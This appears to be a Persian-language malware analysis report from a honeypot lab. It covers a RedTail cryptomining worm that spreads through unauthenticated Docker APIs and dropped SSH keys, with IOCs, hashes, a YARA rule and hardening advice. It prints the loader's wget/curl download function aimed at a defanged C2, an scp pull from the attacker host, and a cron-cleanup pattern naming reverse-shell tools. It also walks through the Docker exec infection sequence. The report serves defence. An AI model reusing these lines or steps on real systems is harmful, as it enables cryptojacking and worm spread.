malware · cryptomining · redtail · docker · linux · honeypot · worm
درون یک کارزار RedTail: خودانتشاری از طریق Docker APIهای افشاشده
هانیپاتهای Kinryū Labs ماینر RedTail را در حال انتشار از طریق Docker Engine APIهای بدون احراز هویت و کلیدهای SSH رهاشده به دام انداختند. این نوشته یک نمونهٔ کنونی و کاملاً ضبطشده را مستند میکند، همراه با بارگذار، اسکریپت حذف رقیب، ماینر، و نشانگرهای زنده.
نوشتهٔ Davis Zheng·
TLP:CLEAR. برای انتشار عمومی تأیید شد. از شبکهٔ حسگرهای هانیپات Kinryū Labs به دست آمد. هر نشانگر اینجا دفاعی است. کلید خصوصی مهاجم را ضبط کردیم و آن را منتشر نمیکنیم. اینجا فقط اثرانگشت عمومی میآید. نشانیهای IP و دامنههای مهاجم خنثیشدهاند (defanged).
خلاصهٔ مدیریتی
- 2375Docker API افشاشده، راه ورود
- 4معماری CPU هدفگرفتهشده
- ~21ثنفوذ کامل ثبتشده روی هانیپات ما
- قابلانتشارکلاینت SSH تعبیهشده در ماینر
در اوایل تا اواسط ژوئن 2026 شبکهٔ هانیپات ما کرمی را به دام انداخت که از طریق Docker Engine APIهای افشاشده به اینترنت روی TCP/2375 منتشر میشود و RedTail را میاندازد، یک ماینر مونروی مبتنی بر XMRig که از اواخر 2023 وجود دارد. عامل، کانتینرهای در حال اجرا را از طریق Docker API باز برمیشمارد، درون هر یک فرمان اجرا میکند، یک کلید خصوصی SSH برای پایداری و حرکت جانبی میاندازد، سپس یک بارگذار چندمعماری میکشد. بارگذار ماینری را نصب میکند که کلاینت SSH خود را برای انتشار و یک شنودگر libpcap برای یافتن هدفهای تازه حمل میکند.
محموله بیتردید RedTail است. RedTail بیش از همه به خاطر رسیدن از طریق اکسپلویتهای برنامههای وب (PAN-OS، Ivanti، Log4Shell، PHP-CGI، TP-Link) شناخته میشود، و استفادهٔ آن از Docker APIهای افشاشده نیز گزارش پیشین دارد. این نوشته یک نمونهٔ کنونی و کاملاً ضبطشده از همان تحویل از طریق Docker API را میافزاید: C2 و نشانگرهای زنده، انداختن کلید SSH که به میزبان اجازهٔ خودتکثیری میدهد، و اسکریپت حذف رقیب که نوشتههای پیشین به آن اشاره کرده بودند بیآنکه بازیابیاش کنند. منطق خودتکثیری را درونسازمانی با نام docker.selfrep ردیابی میکنیم.
ماینر یک پیکربندی زماناجرای رمزگذاریشده حمل میکند و کیفپول تعبیهشده ندارد، پس نمیتوانیم نشانی مونرو را از نمونه بیرون بکشیم. بازیابی آن نیازمند یک انفجار زنده با ضبط شبکه است.
داوریهای کلیدی
- محموله RedTail است (اطمینان بالا). رشتهٔ
libredtail evbuffer_tls، آرتیفکت.redtail، بازگشتredtailدر بارگذار، و ساختِ پیکربندی-رمزگذاریشده / بدون-کیفپول، همگی با نسخههای پس از 2024 این خانواده همخواناند. - کارزار قابلانتشار همچون کرم است (اطمینان بالا). ابزارهای Docker API، کلید رهاشده، و کلاینت SSH تعبیهشدهٔ ماینر، هر آن چیزیاند که میزبان تازهآلوده برای رفتن و یافتن قربانی بعدی بهتنهایی نیاز دارد.
- گرداننده دنبال پول است (اطمینان متوسط). سرقت اعتبارنامه و شنود چنان به نظر میرسند که به انتشار خدمت میکنند تا یک هدف جداگانهٔ سرقت داده.
- بردار Docker API برای RedTail گزارش پیشین دارد و هنوز خوب کار میکند. یک سوکت افشاشدهٔ یگانه روی TCP/2375 به عامل اجرای کد بهعنوان root درون هر کانتینر روی میزبان میدهد.
زنجیرهٔ حمله
[0] Reconnaissance Internet scan for exposed Docker API :2375
│
[1] Initial Access Unauthenticated Docker API → enumerate containers
│ (T1190 Exploit Public-Facing Application)
│
[2] Execution docker exec into every running container
│ (T1609 Container Administration Command)
│
[3] Persistence / Drop ed25519 key "dlr@sftp" into container ~/.ssh
Lateral prep (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] Ingress (Stage 2) Pull loader: scp [email protected][.]113:sh (primary)
│ hxxps://14.46.136[.]77/sh (fallback)
│ (T1105 Ingress Tool Transfer)
│
[5] Defense Evasion Loader: find noexec mounts → avoid them; hidden ".<random>"
│ filename; run/discard "clean" competitor-removal
│
[6] Ingress (Stage 3) Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
│
[7] Execution memfd_create → fileless launch of RedTail miner
│ (T1620 Reflective Code Loading)
│
[8] Impact XMRig Monero mining (T1496 Resource Hijacking)
+ Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
+ Lateral Movement Embedded SSH client spreads to discovered hosts (T1021.004)
مرحلهٔ 1: دسترسی اولیه از طریق Docker API
عامل به دنبال نمونههای Docker Engine میرود که REST API را بدون احراز هویت روی TCP/2375 افشا میکنند. هانیپات Docker API ما یک موتور واقعی را شبیهسازی میکند، و کل توالی را در حدود 21 ثانیه ثبت کرد:
-
GET /versionوGET /containers/jsonبرای اثرانگشتگیری از موتور و فهرست کردن کانتینرها. -
POST /containers/{id}/execسپسPOST /exec/{id}/startدر برابر هر کانتینر در حال اجرا. - یک محمولهٔ پوسته درون-کانتینری که کلید SSH مهاجم را مینویسد و بارگذار را میکشد.
همان گام آخر است که این را از یک ماینر یکباره به یک کرم بدل میکند. میزبانی که آلوده میشود و اتفاقاً Docker API خود را افشا میکند، همان روال فهرستکردن-و-اجرا را در برابر دستهٔ بعدی قربانیان اجرا خواهد کرد. آن منطق را docker.selfrep مینامیم.
کلید SSH رهاشده (پایداری و حرکت جانبی)
| ویژگی | مقدار |
|---|---|
| نوع | کلید خصوصی OpenSSH ed25519 |
| توضیح | dlr@sftp |
| اثرانگشت SHA256 کلید عمومی | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| منبع کشیدن (کانال SCP) | [email protected][.]113 |
کلید خصوصی را منتشر نمیکنیم. از اثرانگشت بالا برای شکار آن استفاده کنید:
authorized_keysو~/.sshرا در سراسر ناوگان خود بررسی کنید.
مرحلهٔ 2: بارگذار /sh
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
نوع: اسکریپت پوستهٔ POSIX
یک بارگذار کوچک، قابلحمل، و محتاط.
نام فایل تصادفی پنهان. get_random_string() نامی الفبایی-عددی به طول 4 تا 35 نویسه را سر هم میکند، /dev/urandom را میآزماید، سپس openssl، سپس $RANDOM، و اگر همه شکست بخورند به رشتهٔ تحتاللفظی redtail بازمیگردد. آن بازگشت یک نشانهٔ خانوادگی سودمند است. ماینر با نام .<random> با یک نقطهٔ پیشرو فرود میآید تا از یک ls ساده بیرون بماند. VirusTotal این نمونه را زیر یکی از همان نامها دارد، .mn6VTucEsFZY1PdSC2QAq.
یاور دانلود. dlr() راستیآزمایی TLS را خاموش میکند، چون C2 خودامضاست، و از wget به curl بازمیگردد:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
صحنهچینی (staging) آگاه از noexec. بارگذار /proc/mounts را میخواند، هر اتصال noexec را دور میاندازد، و find / -user $(whoami) -perm -u=rwx را اجرا میکند تا جایی بیابد که هم بتواند بنویسد و هم اجرا کند. هر نامزد را پیش از استفاده با یک dd یا truncate به اندازهٔ 2 مگابایت برای نوشتن میآزماید. بیشتر بارگذارها فقط در /tmp مینویسند و رد میشوند. این یکی زحمت میکشد تا جایی فرود آید که میداند میتواند اجرا کند.
پاکسازی رقیب. clean را میکشد و اجرا میکند (dlr clean; chmod +x clean; sh clean; rm -rf clean)، سپس حذفش میکند. آن اسکریپت را هم گرفتیم و در پایین میشکافیم. به دنبال پایداری و صحنهچینی رقبا میرود، و فرایندهای در حال اجرا را به حال خود میگذارد.
مرتبسازی. پیش از نصب نسخهٔ جدید، .redtail و فایل .<random> پیشین را حذف میکند.
انتخاب معماری. یک سوییچ uname -mp ساخت را برمیگزیند:
| تطبیق ARCH | دانلود میکند |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| ناشناخته | هر چهار را با زور میآزماید، هر یک را اجرا میکند |
اجرا. ./.<random> $1، که $1 اصلی بارگذار را همراه میفرستد، که RedTail آن را بهعنوان برچسب کارزار یا بردار تلقی میکند.
اسکریپت حذف رقیب clean
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
نوع: اسکریپت Bash (795 بایت)
clean را در یک ضربهٔ بعدی روی هانیپاتها گرفتیم. فرایندهای در حال اجرا را به حال خود میگذارد. تمام کارش پاک کردن بدافزارهای دیگر از ماشین است تا RedTail آن را برای خود داشته باشد:
-
پاکسازی cron. برای هر crontab کاربر (
/var/spool/cron/crontabs/*)، crontab سیستم (/etc/crontab،/etc/crontabs)، دایرکتوری drop-in (/etc/cron.{hourly,daily,weekly,monthly,d})، و/etc/anacrontab، بیت تغییرناپذیری را باchattr -iaبرمیدارد (بدافزار رقیب آن را برای محافظت از خطوط cron خود تنظیم میکند) و سپس هر خطی را که با الگوی آلودگی-مجدد تطبیق کند حذف میکند:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dاین گهوارههای دانلود و پوستههای معکوس تیمهای دیگر را بیرون میکشد و رکوردهای cron مشروع را به حال خود میگذارد.
-
کشتن یک رقیب نامدار. سرویس systemd به نام
c3pool_minerرا غیرفعال و متوقف میکند، شلیکی مستقیم به ماینر c3pool. -
پاک کردن صحنهچینی.
/tmp،/var/tmpو/dev/shmرا باrm -rfخالی میکند، و محمولههای رقبا و فضای کار مشترکشان را پاک میکند.
ضربه زدن به پایداری و صحنهچینی، حرکت آرامتر است. از یک راهاندازی مجدد جان به در میبرد، که در آن رکوردهای cron باقیمانده وگرنه میزبان را دوباره آلوده میکردند، و از سروصدای کشتن انبوه فرایندها پرهیز میکند.
مرحلهٔ 3: ماینر RedTail (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
اندازه: 1,880,264 بایت (1.79 مگابایت)
قالب: ELF 64-bit LSB EXEC (پیوندخوردهٔ ایستا، non-PIE)، x86-64، نقطهٔ ورود 0xaa9e18
بستهبند: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 مخرب، امتیاز جامعه −60، نخستین مشاهده ~2026-06-05
برچسبهای تهدید: trojan.usblem26/abminer؛ خانوادههای usblem26 / abminer / gen3
بستهبندی و ضدتحلیل
- UPX 5.02 با هدر سالم.
upx -dآن را پاکیزه به یک ELF پیوندخوردهٔ ایستا حدود 5 مگابایت بازمیگشاید. - اجرای بدون-فایل. بینشهای کد VirusTotal نشان میدهند که از
memfd_create(syscall0x13f) برای اجرای محموله مستقیماً از یک توصیفگر فایلِ حافظهٔ ناشناس استفاده میکند، همراه با اجرای مجدد از طریق/proc/self/exeو صحنهچینی در/dev/shm. هیچچیز به دیسک نمیرسد، پس آنتیویروس مبتنی بر دیسک هرگز فرصت نگاه کردن نمییابد. - جعل نام فرایند (
sets-process-name) تا با فرایندهای عادی درآمیزد. - گریز از اشکالزدا (
detect-debug-environment). نوشتههای عمومی RedTail اشکالزدایی-خودیِptraceو کشتن فعال GDB توسط باینری را توصیف میکنند. - یادداشتی دربارهٔ آنتیویروس میزبان. Microsoft Defender ELF بستهبندیشده را بهعنوان
Trojan:Linux/Multiverze!rfnعلامت میزند و خواندنش را از دیسک مسدود میکند، پس تریاژ ایستا باید در یک ماشین جدا یا در حافظه رخ دهد.
مؤلفههای تأییدشده (از رشتههای .rodata پس از بازگشایی)
هستهٔ ماینینگ XMRig
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail، پشتهٔ شبکه که خانواده را تعریف میکند
libredtail evbuffer_tls
Connection keepalive User-Agent
یک libevent سفارشی بهعلاوهٔ یک کلاینت HTTP روی TLS. رشتهٔ libredtail evbuffer_tls همان چیزی است که RedTail را از یک ساخت استاندارد XMRig جدا میکند.
کلاینت SSH تعبیهشده (حرکت جانبی و سرقت اعتبارنامه)
ssh-userauth ssh-ed25519 [email protected]
[email protected] [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
ماینر یک کلاینت SSH کامل حمل میکند. این همان موتور پشت انداختن کلید dlr@sftp و انتشار است. باینری ماینر سرقت اعتبارنامهٔ خود و انتشار SSH را خودش انجام میدهد. هیچکدام در دراپر زندگی نمیکند.
libpcap تعبیهشده (شنود شبکه)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
ضبط بسته روی میزبان، که با کشف محلی میزبانها و اعتبارنامهها همخوان است.
جدولهای کدگذاری. هم الفبای Base64 استاندارد و هم نسخهٔ امن-برای-URL ظاهر میشوند (...+/ و ...-_)، که روال رمزگشایی پیکربندی از آنها استفاده میکند.
پیکربندی و شکاف انتساب
در باینری بازگشاییشده سخت به دنبال نشانیهای IP، URLها، stratum، pool، و الگوهای نشانی مونرو گشتیم. تنها استخرهای آنجا استخرهای کمک-به-توسعهدهندهٔ درونساختهٔ XMRig هستند (donate.ssl.xmrig.com، donate.v2.xmrig.com)، که هر ساخت XMRig حملشان میکند و گرداننده کنترلشان نمیکند. هیچ استخر، پراکسی، یا کیفپول مهاجمی بهصورت متن آشکار نیست.
این عمدی است، و با جایی که RedTail از 2024 رفته همخوان است. پیکربندی ماینینگ رمزگذاریشده است و فقط در حافظه در زمان اجرا رمزگشایی میشود، و ساختهای اخیر اصلاً کیفپول حمل نمیکنند، و در عوض به یک استخر خصوصی یا پراکسی-استخر اشاره دارند. پس:
- نمیتوانیم کیفپول مونرو را از این نمونه بیرون بکشیم.
- پراکسی-استخر فقط از یک انفجار زنده با یک گیرندهٔ شبکه بیرون میآید (روششناسی را ببینید).
انتساب
این RedTail است، که با نام ماینر .redtail نیز شناخته میشود، یک ماینر مونروی مشتقشده از XMRig که نخستین بار حدود اواخر 2023 و اوایل 2024 دربارهاش نوشته شد. آنچه همخوان است:
- رشتهٔ
libredtail evbuffer_tls، که برایش یگانه است. - آرتیفکت
.redtailو بازگشتredtailدر بارگذار. - ساختِ پیکربندی-رمزگذاریشده / بدون-کیفپول، بارگذار چندمعماری، اسکریپت رقیب
clean، و سرقت اعتبارنامهٔ SSH، که همگی صفات شناختهشدهٔ RedTailاند.
برای مقایسه، بردارهای تحویلِ ازپیشثبتشده برای این خانواده CVE-2024-3400 (PAN-OS)، CVE-2023-46805 و CVE-2024-21887 (Ivanti)، CVE-2021-44228 (Log4Shell)، CVE-2024-4577 (PHP-CGI)، و CVE-2023-1389 (TP-Link) هستند. VirusTotal این نمونه را همچنین با CVE-2021-41773 (پیمایش مسیر تا RCE در Apache 2.4.49/2.4.50) و CVE-2015-2808 (RC4، “Bar Mitzvah”) برچسب میزند.
استفادهٔ RedTail از Docker APIهای افشاشده گزارش پیشین دارد، پس خودِ بردار کهنه است. این گزارش یک ضبط کنونی از آن را میافزاید: C2 زنده و درهمهای محموله، اسکریپت clean بازیابیشده، و جزئیات خودتکثیری از طریق کلید رهاشده.
چشمانداز
تیمهای ماینینگ بدافزاری شیوهٔ نفوذشان را بسیار بیشتر از محموله تغییر میدهند، و بارگذار ماژولار RedTail جابهجایی یک روش ورود با دیگری را آسان میکند. سوکتهای Docker افشاشده درست در همان میداناند. بخش بزرگی از فعالیت فرصتطلبانهٔ Linux به سمت بدپیکربندیهای ابری-بومی رانده شده، و یک Docker API باز به مهاجم درون هر کانتینر روی ماشین root میدهد. RedTail پیشتر اینجا بوده، و عرضهٔ پیوستهٔ پورتهای 2375 افشاشده به اینترنت آن را بهصرفه نگه میدارد.
به نظرمان محتمل است که گرداننده بردار Docker API را در کنار اکسپلویتهای وب نگه دارد تا اینکه یکی را با دیگری عوض کند، که صرفاً میزبانهای در دسترس بیشتری به او میدهد. اگر کانتینر اجرا میکنید، با یک Docker API افشاشده چنان رفتار کنید که گویی روی اینترنت عمومی نشسته، چون در عمل همان است.
نشانگرهای نفوذ
شبکه
| نشانگر | زمینه |
|---|---|
14.46.136[.]77 | C2 / میزبان محموله (HTTPS، خودامضا). /sh، /clean، /x86_64، /i686، /aarch64، /arm7 را عرضه میکند. خروج ابر را بر اساس ASN فیلتر میکند. |
hxxps://14.46.136[.]77/sh | URL بارگذار مرحلهٔ 2 |
hxxps://14.46.136[.]77/clean | اسکریپت حذف رقیب (پاکسازی cron / صحنهچینی) |
217.60.195[.]113 | منبع کلید / محموله از طریق SCP ([email protected][.]113) |
فایلها (SHA256 / MD5)
| فایل | SHA256 | MD5 |
|---|---|---|
sh (بارگذار) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (پاکسازی رقیب) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (ماینر) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
آثار روی میزبان
| نشانگر | زمینه |
|---|---|
.redtail | آرتیفکت ماینر / نشانهٔ آلودگی پیشین |
.<random alnum>، مثلاً .mn6VTucEsFZY1PdSC2QAq | نام فایل پنهان ماینر (نقطهٔ پیشرو + تصادفی) |
توضیح کلید SSH dlr@sftp | کلید رهاشده |
اثرانگشت pubkey SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | اثرانگشت کلید رهاشده؛ در authorized_keys شکار کنید |
فایلهای صحنهچینیشده در /dev/shm، /var/tmp، /tmp، یا هر دایرکتوری rwx قابلنوشتن توسط کاربر | محلهای صحنهچینی |
رفتاری
-
memfd_create(syscall0x13f) که یک ELF را از یک توصیفگر فایل ناشناس اجرا میکند. - فرایندی که
/proc/mountsرا میخواند و سپسfind / -perm -u=rwxرا اجرا میکند (صحنهچینی آگاه از noexec). - جعل نام فرایند؛ گریز از اشکالزدای مبتنی بر
ptrace. -
stratum+tcp:///stratum+ssl://خروجی به یک میزبان غیراستاندارد. -
systemctl disable c3pool_minerوsystemctl stop c3pool_miner(بیرون راندن رقیب). -
chattr -iaدر برابر مسیرهای crontab و بلافاصله پس از آن حذف انبوه خطوطwget/curl/ پوستهٔ معکوس از cron. -
rm -rfاز/tmp/*،/var/tmp/*، و/dev/shm/*(پاک کردن صحنهچینی رقیب).
شناسایی
شناسایی روی میزبان (منطق فرایند / EDR)
به فرایندی هشدار دهید که، بهترتیب:
/proc/mountsرا میخواند، سپسfind / ... -perm -u=rwx ...را اجرا میکند، و- فایلی با نام تصادفی و نقطهٔ پیشرو در یک دایرکتوری قابلنوشتن برای همه مینویسد، و
memfd_createرا فرا میخواند و سپس از توصیفگر فایل حاصل اجرا میکند.
هر یک از اینها بهتنهایی ضعیف است. هر سه با هم نشانهای قوی برای این بارگذارند.
قاعدهٔ YARA نامزد (باینری بازگشاییشده)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "[email protected]" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
این قاعده با باینری بازگشاییشده با UPX تطبیق میکند. برای نمونهٔ بستهبندیشده، به امضای UPX، اندازهٔ فایل (~1.79 مگابایت)، و درهمهای VirusTotal بالا تکیه کنید.
شناسایی شبکه
- ترافیک خروجی به
14.46.136[.]77و217.60.195[.]113را مسدود کنید و هشدار دهید. - به
stratum+tcp/stratum+sslبه هر مقصد خارج از فهرست مجاز هشدار دهید. - به درخواستهای GET از طریق HTTP(S) برای مسیرهای تکحرفی یا با نام معماری (
/sh،/x86_64،/aarch64،/arm7) هشدار دهید.
کاهش مخاطره
- Docker API (2375/2376) را به شبکههای نامعتمد افشا نکنید. آن را به localhost یا یک سوکت محافظتشده مقید کنید و احراز هویت با گواهی کلاینت TLS بخواهید. همان یک کنترل، گام دسترسی اولیه را از ریشه میشکند.
~/.ssh/authorized_keysرا در سراسر ناوگان برای کلیدdlr@sftpو اثرانگشتش بازرسی کنید.- خروج را فیلتر و ترافیک stratum و نشانیهای C2 بالا را پایش کنید.
/tmp،/var/tmp، و/dev/shmرا هرجا میتوانید باnoexecمونت کنید. این سطح را بالا میبرد، هرچند این بارگذار آگاه از noexec است و به دنبال دایرکتوری قابلنوشتن و قابلاجرای دیگری خواهد رفت.- کانتینرها را سختسازی کنید: قابلیتهایی (capabilities) را که نیاز ندارید رها کنید، از سیستمفایلهای ریشهٔ فقط-خواندنی استفاده کنید، و با کمترین امتیاز اجرا کنید تا یک
exec-به-درون به مهاجم محیط اجرای قابلاستفاده ندهد.
نگاشت MITRE ATT&CK
| تاکتیک | تکنیک |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Docker API) |
| Execution | T1609 Container Administration Command; T1059.004 Unix Shell |
| Persistence | T1098.004 SSH Authorized Keys |
| Defense Evasion | T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion |
| Credential Access | T1552.004 Private Keys; T1040 Network Sniffing |
| Discovery | T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (cryptomining) |
روششناسی و یادداشتهای تحلیلگر
- مرحلههای 2 و 3 را از C2 زنده از طریق HTTPS کشیدیم.
14.46.136[.]77برای IPهای ابری مهلت زمانی میدهد (از AWS/EC2 آزمودیم) اما به IPهای خانگی و معمولی بهخوبی عرضه میکند، که یک فیلتر خروجِ مبتنی بر ASN یا جغرافیاست که جعبهشنهای ابری خودکار را میشکند. - ELF بستهبندیشده Microsoft Defender را (
Trojan:Linux/Multiverze!rfn) فعال میکند و روی یک میزبان Windows محافظتشده حتی از دیسک خوانده نمیشود، پس نخستین تریاژ در حافظه رخ داد، با بازگشایی آرشیو درون یک فرایند Python بیآنکه ELF خام هرگز بیرون نوشته شود. - بازگشایی با
upx -dدر یک FLARE-VM جدا انجام شد. باینری بازگشاییشده را بهصورت ایستا، با رشتهها و ساختار، بیآنکه اجرایش کنیم تحلیل کردیم. - ماینر را اجرا نکردیم، پس پراکسی-استخر و پیکربندی مونروی رمزگشاییشده در زمان اجرا در این گزارش نیستند.
پیگیری توصیهشده (برای بهدست آوردن نشانگر pool-proxy)
برای بهدست آوردن پراکسی-استخر، باینری بازگشاییشده را روی یک ماشین Linux جدا (REMnux کار میکند) منفجر کنید با:
- یک گیرندهٔ شبکه (INetSim، یا
fakednsبهعلاوهٔ یک گیرندهٔ همهجانبهٔ TCP) برای بیرون کشیدن اتصال، -
tcpdump -i any -w redtail.pcapبرای گرفتن CONNECT و ورود stratum، و -
strace -fبرای گرفتن پیکربندیِ متنآشکاری که ماینر درست پیش از نخستینconnect()خود رمزگشایی میکند، که اغلب حتی وقتی TLS آن را روی سیم پنهان میکند خواندنی است.
آن میزبان و پورت آخرین نشانگریاند که هنوز برای این کارزار معلق مانده.
نمونهها
نمونهها (بارگذار، اسکریپت clean، و ماینر بستهبندیشده) بهدرخواست در اختیار دیگر پژوهشگران و مدافعان قرار میگیرند. به [email protected] با یادداشتی کوتاه دربارهٔ اینکه که هستید و چرا به آنها نیاز دارید ایمیل بزنید.